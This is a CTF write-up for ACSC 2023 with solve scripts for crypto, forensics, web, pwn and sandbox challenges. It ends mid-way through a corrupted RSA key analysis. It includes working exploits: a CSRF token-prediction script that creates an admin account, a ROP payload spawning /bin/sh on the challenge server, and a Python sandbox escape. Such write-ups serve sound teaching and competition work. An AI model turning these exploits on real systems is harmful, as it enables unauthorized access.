# ACSC 2023 (rough) Writeup Sorry for using broken English:bow: ## Welcome :yum: ![](https://i.imgur.com/ii7AlDs.png) ## Merkle Hellman Since all of possible charactors are encoded to number one-to-one, we can just create the table of the encoded number. ```python= pub = [7352, 2356, 7579, 19235, 1944, 14029, 1084] priv = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910) cipher = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550] table = [] for f in range(0, 128): s = 0 for i in range(7): if f & (64>>i): s += pub[i] table.append(s) print(''.join([chr(table.index(c)) for c in cipher])) ``` ## pcap-1 By looking through the packet capture, you can notice that there is some captures from USB devices. This suggests that there is a possibility to exist flag information in the form of key stroke informations. I extracted these information using the script in [this](https://abawazeeer.medium.com/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) article. Raw data was extracted by filtering pcap. ![](https://i.imgur.com/5N5Ga6h.png) This is the partial output from the script. I combined these charactors manually. ![](https://i.imgur.com/25yPgS8.png) ## Admin Dashboard In the `addadmin.php`, Paramators are referenced by `_REQUEST` variable. This varialbe also be set by GET request. Since the policy of the cookie was set to `Lax`, you can create admin account by reporting url such as:`/addadmin?username=hoge&password=fuga&csrf-token=XXXX`. ```php= <?php if(isset($_REQUEST['username']) && isset($_REQUEST['password']) && isset($_REQUEST['csrf-token'])){ if($_SESSION["user"]["role"] !== "admin"){ echo "<p class='text-danger'>No permission!</p>"; }else{ if($_REQUEST['csrf-token'] === gmp_strval($_SESSION['X'],16)){ $sql = "INSERT INTO users (username, password, role) VALUES (?,?,'admin')"; $stmt = $conn->prepare($sql); $stmt->bind_param("ss", $_REQUEST['username'], $_REQUEST['password']); $result = $stmt->execute(); echo "<p class='text-success'>Added successfully!</p>"; }else{ echo "<p class='text-danger'>Wrong token!</p>"; } } } ?> ``` Next, you need to acquire the CSRF token of the admin account. Since CSRF token was generated by LCG using the `username` as a seed, you can leak the paramators of LCG from our CSRF token. Note that you can find your CSRF token even if you haven't the admin privilege, since `/addadmin` page is not restricted only for the admin. ```python= from ctf import * from time import sleep, time import requests # HOST = "http://admin-dashboard.chal.ctf.acsc.asia/" HOST = "http://admin-dashboard-2.chal.ctf.acsc.asia:8000/" # HOST = "http://localhost:8000/" sess = requests.Session() sess.get( HOST + "login", params={"username":"neko","password":"hogefugapiyo"} ) def get_token(): return sess.get(HOST + "addadmin").text.split('csrf-token" value="')[1].split('"')[0] tokens = [bytes_to_long(b"neko")] while True: token = get_token() tokens.append(bytes_to_long(bytes.fromhex(token))) if 3 <= len(tokens): break sleep(30) print(f'{tokens=}') def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0] * multiplier) % modulus return increment def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * inverse(states[1] - states[0], modulus) % modulus return multiplier m = 0xc4f3b4b3deadbeef1337c0dedeadc0dd a = crack_unknown_multiplier(tokens, m) c = crack_unknown_increment(tokens, m, a) print(f'{m=}\n{a=}\n{c=}') admin_token = long_to_bytes((bytes_to_long(b'admin') * a + c) % m).hex() our_next_token = long_to_bytes((tokens[-1] * a + c) % m).hex() print(f'{admin_token=}') print(f'{our_next_token=}') # sleep(30) # bprint(f'{get_token()=}') t = int(time()) uname = f'nekodx{t}' password = 'nekonekonerce' URL = f"http://localhost/addadmin.php?username={uname}&password={password}&csrf-token={admin_token}" print(f'{URL=}') print(sess.post( HOST + "report", data= { "url": URL } ).text.split("</form>")[1].split("</main>")[0].strip()) print("[+] reported") sleep(1) status = sess.get( HOST + "login", params={"username":uname,"password":password} ).text.split("""\t<label for="username" class="sr-only">Username</label>""")[0].splitlines()[-1].strip() if "Wrong" in status: exit(0) print(sess.get( HOST + "index" ).text) ``` ## serverless At first, I partially de-obfuscate the privided js file. ```javascript= function b(d, f) { var g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7n, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577n, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9n, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3n, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbbn, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fdn, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699n, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229n, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5fn, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287n], h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1n, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35n, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611n, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67n, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087n, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7n, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95n, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569n, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49n, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397n], j = Math['floor'](Math['random']() * (10)), k = Math['floor'](Math['random']() * (10)), l = g[j], o = h[k], r = l * o, s = Math['floor'](Math['random']() * (5)), t = Math['pow'](2, Math['pow'](2, s)) + (1); function u(A) { var B = new TextEncoder()['encode'](A); let C = 0x0n; for (let D = 0x13c8 + 0x1 * 0x175b + -0x2b23; D < B['length']; D++) { C = (C << 0x8n) + BigInt(B[D]); } return C; } var v = u(d); console.log([v, d]); function w(A, B, C) { if (B === 0) return 0x1n; return B % 2 === 0 ? w(A * A % C, B / 2, C) : A * w(A, B - 1, C) % C; } var x = w(v, t, r); let y = []; while (x > 0) { y['push'](Number(x & 0xffn)), x = x >> 0x8n; } console.log(y); y['push'](Number(s)); y['push'](Number(k)); y['push'](Number(j)); console.log([s,k,j]); console.log(y.slice(y.length - 10)); console.log(f); var z = new TextEncoder()['encode'](f); for (let A = 0; A < y['length']; ++A) { y[A] = y[A] ^ z[A % z['length']]; } return btoa(y['reverse']()); } ``` Then, write the decode script by python. ```python= from base64 import b64decode from ctf.sage import * res = "MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy" y = [*map(int, b64decode(res).split(b","))][::-1] y = [i ^^ ord(j) for i, j in zip(y, "acscpass" * 100)] print(y) j = y.pop() k = y.pop() s = y.pop() x = 0 while len(y): x <<= 8 x += y.pop() print(j, k, s, x) g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287] h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397] l = g[j] o = h[k] r = l * o t = pow(2, pow(2, s)) + 1 pari(f'addprimes({l})') print(long_to_bytes(int(mod(x, r).nth_root(t)))) ``` ## vaccine There is a obvious stack overflow vuln at `scanf("%s", buf)`. It seems that we can do the ROP for the win. But there is a `strcmp` check with some string. But, luckily the checked variable are located after the buffer, we can overwrite the variable to avoid check. After that, you can just do some easy rop to leak the address of the libc, then call `system("/bin/sh", 0, 0)` ```python= from ctf import * BIN_NAME = 'bin/vaccine' LOCAL = False chall = ELF(BIN_NAME) if LOCAL: stream = process(BIN_NAME) else: stream = remote("nc vaccine.chal.ctf.acsc.asia 1337") stream.sendlineafter( b'vaccine: ', b'\x00' * 264 + \ p64(next(chall.gadget("pop rdi; ret;"))) + \ p64(chall.got("puts")) + \ p64(chall.plt("puts")) + \ p64(chall.symbol("main")) ) stream.recvlineafter("reward: ") puts_addr = u64(stream.recvline(drop=True)) libc = ELF('lib/libc.so.6') libc.base = puts_addr - libc.symbol("puts") rop = b'\x00' * 264 rop += p64(next(libc.gadget("pop rdi; ret;"))) rop += p64(next(libc.search(b'/bin/sh\x00'))) rop += p64(next(libc.gadget("pop rsi; ret;"))) rop += p64(0) rop += p64(next(libc.gadget("pop rdx; ret;"))) rop += p64(0) rop += p64(next(libc.gadget("ret;"))) rop += p64(libc.symbol("system")) stream.sendlineafter(b'vaccine: ', rop) stream.interactive() ``` ## evalbox We can read the content of some files by substitute file obj to deffer GC for avoid closing. But, name of the flag file is changed to hash, we need to find the way to get name. Since we are banned `close` syscall, we can't import another module or we just crashed by closing `.py` or `.pyc` file. Still, we can use some modules like `os`. `os.listdir` seems obvous answer, but since this uses `dirfd`, this function calls `close` syscall. After some research, I noticed that `os.scandir` will not close fd until iteration is over. Using these, We can acquire the flag. Following script is prettified by adding newlines. You should delete all of newlines before sending to the server. ```python= exec(""" dirs = __import__("os").scandir("."); file = open(next(dirs).name); print(file.read(), flush=True); """) ``` ## corrupted First of all, I identified the command that uses for generation of the pem key by messing around, which is `ssh-keygen -f "key.pem" -N "" -t rsa -m pem -b 2048`. Next, I investigate the internal structure of the pem key generated by the same command. I won't go into details in this part since I wrote the similar [writeup](https://hackmd.io/9vFGJyplRtGG6QIUb6wlWQ?view)(Japanese) before. ``` 308204a2 020100 0282010100a53dd7ef54f95cd22764f550c9b7c587cc313ac74fa662e20475526b07e74370903aeff4ecc1b14e72a9edbf366898d7cb6373fa9bd5af8bf8861233ffacdc5badb46e53df81f9a58d13d38814a3db4057dfab7e7e025dfd37dc1770a136efe2b64fefcf00bdb717b4e2372c0032cbba4bf12c1b1193960622825ceefdaa9b41701b7d1a80f6381c052db63cdf9424437f36327d1b055dc54b20cbf9ee7e280740349800261c59d7757c69e096571c3cba23209666fdb7ffa91e8f469e4ca3dd59e70c7f87b97e131f27a8e5f386a0b4a90888e252eea675110650b770909322c6bdaa9cc75f1013cf827cf66e49ce2848362f7aa5939c9522a64e59e00f07c5 0203010001 028201000b30ca0142599f934d3f056cbd8c7d8b247aa7b167252c8883fc1cb874e63b91fc4d3c2cf3cfc0f3401eb3f98174c9f7c0a57142fa9a191e65ebfbd59bae183fa3deebf8857d7c41084731c9d87954583785eff64c105af9d2cba1516bb44316067a1967da73feaf53525d4c29e346c5776e7e29d8773744c91782605e662c72167050c9cb8fa13dc887420fb056ab7f7911621d2893ef88414554ba77b509186b112923890e8b118ec40fb59046bc3ac8a509c10fe165c45cb7a2c6c9c7172bfcacee01e96cccec08c1f1f1a3804a050c97f8d54b55301b6118f0f8b9c9947335cb8c8e76311fd2ba63daad48399a4fb4ed9f74fe302633f6d9f147a26903cd 02818100e03780c88f7d3f670d84e1d899dab58047b11f6c3c7e4f7a4dcf1f2e5aea57d1470a9eca59df84f6f708d4a3d738137d1d391d2daaa75dae3b3990fe92d7df5625b8b9b443ebe905a87761a5082a4655587be60f0a8e8652f82d0a580b7b198c89a445196226de69f505eac700b840edee64597c4dd50e3315f1237f7166952b 02818100bcaa376097c6a373c8aaee060a2db93ccf88465999f5eda7986c616b83ead307b96ef230d86746bae586f47cca68bd0629783a3cb58130bec2e50aad5fe2eb39fae416d5fccc14efe96ee320891e29f5b9e3c8b978a4fd0cf982a7e39c17a2434d0857754749e1a6cdaadd4b8aef18865bbe165dd77a02b7334ceeedfbf43ecf 0281801e39fd478c68831a9e6cf29163b4635186d8aef6c574f5bbf42f5ef1bdd9e7bad3cbefba31c17b485be739db58913bb75b302ee9d01ebdf7560e9da8641d6c034e14881c7027a68357c1b84d2a3ba0bdb2af0945afd3a4f21c78ddf31ea11ac1a2709dcc1d3a46339c8f8ea60347d3a0ffc95172fb7f2469e8a45877becee87f 0281803720cdd9adbfdf571fd5c2838549e30cbfdfa41ede7c1c1b92d0688f1016f7df13f23556cc853107bfb5f58ed95e4d8d95648a2fdf2186ead6ec327882c23dd5cd5804cc367833cdfeb9e62845a8c8be02b96a97b7870e62522e397caac9c522414a24b4224696673545ae303ac2aeb9e3e8e1843e486aaeb990cb6842ed15c5 0281801c6b6ad011770de9429e89dcf8da70a58558f7821fcd3ec0ca6c06c35f0a7824e1c75bc1e0e12434c9e4358b784d7e824108581d093a725de37a534635024980e67da7a3a210c989a5044174d434d0e70d129d71baff48931732cb2557a5cc0617be0db1e64cf11652afaedf4860a64f864ae9cac2e46446617344a0a22cb637 308204a2 020100 02820101009f48334893b142745cac0d31ee803da9db70f0f81dabb9ab18af15d02eb320eafd47826ced1108882c21420c71193457ddc445ab79b5b45e9e1ab76f102453e77c2f74393e8e56daec92367b4712515efe3f027a8ce33dc2321f4ce58784cc079daed00f51c813409b58ab9019b8134337c0026d9ba28c2112948b174ad96a8ab67d2e500b124f49abe06e6b284946bc82f9f341a593604c2855e5f64efa441b4b29b408d666c25d093fb863a18ddc6d641846ba9a97a6ff5fd11ba52971c7ed9083de9fc4bb33cbd493db777e12a5e9bf76f06d9743e86ac1ab11929da0f2a841817175c5e90434f54ad538cd27fa493e39c7f871979cad857d983149115779 0203010001 028201000afa1a52ab9f0131ecbb0cb3beb886c76070a1a2afc4c86862ac9a47bd182a32179f687d223f54c3b1aadf16e56a73c1846e84d0a2f423488c03d2556c9adc4f6d2f0606f5e9305229109081a16dc13ed72db77983a11b7df91f5018d7648efd0d60614555010156a7fe0de0c1ecfe22d94239c89cfbb0458d36c0792bf6dcd13383615c86c623b84a538d539c43fc4e1ccd0637dcc7c79131fe76d00f8c0370982792d06707117fc9a482065072d81d6d3586d6c9857e5d1d298319ec13763409bf16c180bc324b342885513d7abf3d5908f6b7bd6a9a1d064cee7cd28a7b11b9c245d7941db1bca230bf0dfe39071305de5f8cb2ab6ba758a1b3a32efd3ce9 02818100dac0b89d5c1feb443c056e620101cbb8b40f44354627dec93da30617d3414b4d7d8e2373e5d832c36c6915dfdb6f15a2da70d08f24dd53bdaf5ce2e9287772e62b3e32e46ddfb5c7845328d7f52f66dd5fdb30f5986af4dd10fdda5cc25488f61365e28a244b6c0ccd69cb7ec9ec9082e87d97005d2c83aae56410c795b904ed 02818100ba6730b1af0d00b851da0e652b7f1be604306dc217a01612e95b917a4eb6ad53b4f120694de246fff138422ac2007a161a815742c381b514feaaad5c01204ae94d0165fb055df86cdd4a72c1d6991f95c0b6b6ba72499330419cd189db3980e52ca99123b0f5f0ac911d3f6b18cc4d2d211594fa8fb16468c6dde9dfd855773d 02818070c0ad67ceb85517d2a82a0131ebaf0a01256d4ed85e6ca2e5b645c9ba0609be635d044114d39f36c38656d40fd2ee2006dfe76020ec43e19da60eff86f02ab520ccea867b6bb7d2a30e0a1b66318c9fc66cc08b96886ab617b0010196d8e3cf92a80d608edca150e80003f7d234b1380885d37348934d3aa50a32ebecec74f1 028180276c8dc2f6d8142fe7b7ebd57ff6994af3d5de50efb83f12eee21c09b73e31b8838b80246581972ca8b3126382b6a11badad6f6c42775b7a3e4690f5e59313e4f61176a539c45f377f3230c5488308481f0345f0771d9290e13fae9dae8d21f2d69862871ef5555ada324a68774d368175fedf8c82f9acd7f03f9d2867d3e3ad 0281801f889c376014fd326371bb4970b0067451f7d4dfe1cf5be46a04771f6c1f528729d847a67b0438b862ec5fbc0731368c05cbb88c5bb7dd9a3682b0fafaeacc9a253d3aaa61cd8c51753d221d296a62d6c8a1cf0a94d19b64e923a106ac64ccd7e5b797476f5273bb10bb7d391aaca13a700bf1a366b63d97abbab7209bd6e0a6 308204a2 020100 0282010100ad80f8d1965198c5cfc8ea09f18d1a5f964c5b1cebed2dc021c9a00636abbf9de44198d4e2afaf8e235f985ea017e7cdc903decffb1f1b65ef46e2da65d45db2cfd6e3a293587e826d442f99e72689a5c6e9526a697ac75533d7a0a2855c5abb271c053b865ccf936e0bc672a855ce388f0911a30fc002c2995b66100301d54fa4a7e2ec96b9a3fd6640f7257f556593157c08b6255cbf52c909f4f0f98041591d4ca6caddb138b10831069f8c17d443772ff60160e308c65ea6b52b32c283905fb5710f60fcde164071b49a7868c06e3a48e834aca52681317d92b1183e575b2e4d54b06ca2cf1a4f6c571418f98bd0799467505d57cfee1e0cc2f01e9eae1b 0203010001 028201001a57d72f8749bb4ee9760166e21880f51b6e5b752033223ba645a538dc4b266c54304b82a32a7696b7b33780c280eeae9583336cd39d8cfce4a018287dc68935718e1880e22b5105ff8e1746204cff203efbc50a281abeb2268d6a33d2d8cb63d813ce8d93a07ad9d11f1391ec121f1e0245a7ba60d54ff5f8efe226b3362f8b4835ae1fff9a9fa24a646993ce9c2b19b0f88e9a63e854be836c3c56193045a6069dac7cdbdfaf169a48b3e5869f9787287d8828d3451ec439d5e98853fcc96374438ed4589d65d22b95054520fda2d637a9da2641eb7374fc994f89987db306fe87d1d2b5c125b1c9f178edc550a5d19de531983a0ba5cfeadb230c4e72cdd9 02818100bc357b32f66e96f8fb6e4483c649bea40198b4420744c8fd6cf6e829fb7a68df9b3f2ba6b5087fb06a6faa45bddc4f91d5126394215cb6e4e802afd47327ded316643829b736f3e0f05d52cfd1baed66cfba0d101d22454822840b91fc7497cf266fa9e678a48d415e64bee116655778f1a7a653a96a5df5773b21c3be716933 02818100ebff8cb7685f23460c0d163776cc5832ee8687895e39e7d3c446d1cd37b841902e0c37bc1862ab066bc8f2174979f11d888657bf101c4f32380e2ce0286031b4caddf61938e3593ee95f020b1dfb96f5999c8f86fddd04cae47dc001d135b320e9d580a244442599b68824ffb0cb34c2760fe2830c265b963a32540b50ee3779 028180183fdbcbc92c9e8f1df62b25bf5aa9118093284689a137344fe1d02ff892e1084e7c69276593debfe036dafd7964f56b98c471c8183455ec506868373b4f1bca9ecbf2e08d16ab7d83fac23cbc8d1521760a46bc98c45da0d9b1a1bc01871438407f8aa8834ad05867cd1b3aed23c98d6fb5661cc96b4707e580dcecd790cd39 0281800bcdd66dfe0c742936c518cd6165cb2b90fead9cd357b61ec37c7f55f26986edfd3fa332074e381bb41c72ef733f642e03fc243b6c44de3936d08eb20f92f02988d41d5119a5557b6e14d07759e291a46b3087854b01591204e7bd48d9fc039fabd280029dc382d5f3694fe0722957d43a2f8536e4ceae5a0f43212d07b94291 02818035adef6729e3ba67ffd18afa93429b577ce1dc111febcf2c6648d8b0d90629ea2e3c9916c99063e1d7a5f72781012a7a0f62b01fd4a21245e3688ae835725a91d0ba0c11b2c70571ca9c1000b09561538df8f7835fbb690a9ff8e21051b54f646872baa6e9371a726ffeaf286d1667d59ed6a5da29353cd87a2a7c0e7ae55fcb 308204a5 020100 0282010100df679d3a3e7064941ad5ae5d2a2296eedf39b3c7c87b67bbeef3f95f6e81c5873bfb0065bd6ddf7759ff76fe8b2da915203533472c4a53f1c7c94589652af9b81df5efd3c536875df5dd8fae7cbf32b82ce3c032a19f8b1b5f95d68b9a267c03c52d4d2c0e62ed44cfda5efd33c3cb1fe27e52404e5ab908dc8c5853291ed95b6f0d51fa471303b9a1345a367f14e47b2cb0e814544ee52e1d3ab61093f7759bbad696ba1b23422c3204ab87ed2cd825174112f0c656bc9f9150f3fe61504510ba75d09cfdb0908671989b57a4de3593d443cbd2dfd3afd3abf55b31e55ec858847b8cec0965a0fef2bd245777bc0a77255f40393ff7920c23eda1df38aa1bc1 0203010001 028201000f50de319908418cf9cdfe773aa5466db7f60fc239976444391c96d31913628463f35052a94af81009a67ef4f27bbde4c9e17bd37c50d832723cf53c77281c18a84d2d14faa7435e88b598dd20864726e344f5ef42af5a6d14ff83c6ec598915051696fcd73ba70299b161e3c001c3523b47e7c1aadd8363fd22ce075d8154eb53fb2310279e5f568e5ce7142a8ff1b50a395b375c586a715e59a51fd53256fb00ed30252ff73240c685fcb4848ccc99e291cdf4c650db6af2d255c2c5af905d0776e15582af88a6371023728c54d018d9d5a99323165ac3833819d30f9e7ccef4dff3875057f6a8814879a64141cbcae700649d0edfe1c69a81f26f701db7f1 02818100fbc849c20929663afa3f9bfcbd4b3462c13cc23fa86028c11b695fb9cc50b42a20d4f1c77700432826eeec4722754fe8c3fb46550bcf56d73e62f4b01bf4373a37b63e421482433dd00aa160aa95e3e7fb890cc865285aa03686968a50dc6abcbdbc73123b60af55bfe790b034051d451dd9263779fd489cab914fb48f00317d 02818100e325a28e2006bbb267a0bba85eecf10cf89f156ff5d85b1ed8821c895b8e219a2cc50422c7e58fdab0bb6cb88b486ada6d9d2c3d961592599a5d0366eab06f598309d32c5bee5aa179b508aeccbca48926b3d42250a619706cf70e513be0c0c7f3b4fe339bce6a98f69c3449d3a309df4f4c76577f287564f85b9560d123e695 02818100e33ca4b4e6a7e288200b00b15df65dd53329aef6dcf3cc545c7501dc2236442431757eb0d309fd92637106f63c773c238b9d60a0a903fc104f51e81c795e33e9eb1623a267f818cfd4cf834e4726f8860a526aa3020925a1ab1455118861264429c9c6e1118df530a2fe4f6b77c795df274d305ca9509b142b13fea7aad835d1 02818100cdacf04a1cf9bbcf49422369cbba647248555405f2e81b6a0cc593ad54779839903c3d0879548633913fc4ac3d822f2ee57e21e70a1532556c0eb8dbe1ba2cb9328c1ce8d7bd35d76ceadd97d9cf1e7509d45f4b4b177b856f452d73a4f257dd35f13713e80aba3f135e51825fde0b3c6703674cc6d90da385b6f7c598da1719 028181009781359803cd914a77e91c4732f8396e23a5265cf0f976793f68a5597fc34eb3c4105b97217e64f7c06efee39ecdb0e0524e098504b1b4c53243cb978f729fd51f914624abf18c613bfad102e04089090bff96d3a5331517acee61452aba54a734879d20acc16091f4b0f3c681f9b7a317f11beef385b9922248a7cc4201edef ``` Using these information, we can extract remaining information from corrupted pem key. We can see that the `modulus` is fully known, and lower half of bits of the `prime1` and `prime2` are also partially known. ``` 308204a4 020100 # modulus 02820101009fef118f5d5cd893a0c9feacd478a2c2de79de1c3dfa819c775106a3c1f9b493848949cf362c5a20630ad4eec253bf8811ee373c97063cf902b62da4cf9a805c0c975c1300947178eaca6641a405a5545154c643d7222787441712380104564a687dd52e1f45a42298a5faa28fe3a5a61a121e57dcee5d967dcb78d130c5835dd676954106c782126698fdbfa4c7075f55eec3cedf247760123ee35b3aa2afbfc8a34e08aaa6c5f9ba29e3bebff7fecac8366f17c6900da8efde4973fc90ee1a6ce26dc9f8366d6bcef50bd045a5088e7622a009328aa72db5bcc621e9027e4b6503e46724b2f5f6d106e3786e6ce640c2a183c6f5df2842b1f44d98c780daff # publicExponent 02030100?? # privateExponent 0282????????f12???3a6f?????c4dddc???d??fc6??e3??6905900????40828????a0??c????69857????94cc??b??b5????7f97156???46dc??a??7?????650??2a??99ccc6??ad??d0e?????5a37??9b??f??fb4d2c??263e???306???edd???ee4???a????????722??a????????02????8???82a5???????d??????600??78794???????808ff??dc74d4??5?????6d32??a???d?????6f6c??????????ee????3????????????9??e???????b??f???88b??f?????da?????e632eec????55??7??6443??e?????95d?????0??b??b2????8600?????4?????3602219b764?????70f???5???????f?????5e??ddcf????4909af81??407???3e288358b0?????7f9 # prime1 0??1??0?????????????????b?????d??2???????????2?????4??????????????2??a??d??3??5???????????a???????????f?????a?????9????????f??b?????d??e??9??4??d??8??c??e??1??7??8??d??0??f??4??d??5??a??0??0??f??e??1??5??5??d??7??2??6??1??e??4??6??5??f??b??e??d??5??0??e??1??c??5?? # prime2 